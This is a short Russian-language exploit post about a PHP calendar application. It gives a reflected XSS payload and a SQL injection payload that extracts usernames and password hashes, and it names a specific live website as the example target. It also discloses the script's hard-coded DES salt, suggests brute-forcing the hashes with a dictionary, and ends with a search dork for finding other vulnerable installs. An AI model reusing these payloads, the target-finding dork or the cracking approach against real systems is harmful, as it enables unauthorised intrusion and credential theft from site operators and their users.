Уязвимости подвержены многие версии, от версии к версии разнится только структура SQL запроса. 1. XSS Пассивные XSS существует во многих параметрах, например, в $month : calendar.php?month="><script>alert(/XSS/)</script> Пример уязвимого кода в calendar.php PHP: echo "<a href='Javascript:void(0);' onclick=\"Javascript:wopen('cal_addevent.php?op=eventform&add_day=$i&add_month=$month&add_year=$year&catview=$catview','popupwin',".$addeventwin_w.",".$addeventwin_h.",'yes');\"><img src='images/plus.gif' alt='".translate("Add Event")."' border=0 valign=middle width=11 height=11/></a>" ; 2. SQL-inject Уязвимость существует из-за плохой фильтрации значений переменной $catview (значение переменной должно быть ненулевым!!!) PHP: $query = "select id,user,title,starttime,endtime from ".$EVENTS_TB." left join ".$CAT_TB." on ".$EVENTS_TB.".cat=".$CAT_TB.".cat_id where day='$i' and month='$month' and year='$year' and approved='1' " ; if ($catview!=0) $query = $query." and ".$EVENTS_TB.".cat=$catview " ; Инъекция в переменных $month; $year невозможна, т. к. скрипт сам задает дипазон значений этих переменных. Пример: http://www.3ringcircusproductions.com/calendar/calendar.php POST: catview=2+and+(0=1)+union+select+11,22,concat(username,char(58),password),4,5+from+calendar_users-- P. S. Префикс таблицы по умолчанию calendar_ Кол-во колонок в запросе меняется от версии к версии. Пароли пользователей шифруются по следющему алгоритму: PHP: $login = preg_replace("/[';]/", "", $login); Кстати, в ранних версиях, это можно было обойти при помощи URI-кодировки ('~%27) PHP: $crypt = "we6c21end2r4u" ; $cryptpas = crypt($password,$crypt); то есть криптует по DES алгоритму с использованием соли. На сколько я знаю, PassWord Pro может работать с солью. Если же я ошибаюсь, то можно написать маленький php-брутфорсер, читающий файл словаря, криптующий по этому же алгоритму каждую строчку и сравнивающую с существующим хешем. Только стоит ли... ) dork: inurl:yearcal.php intitle:Calendar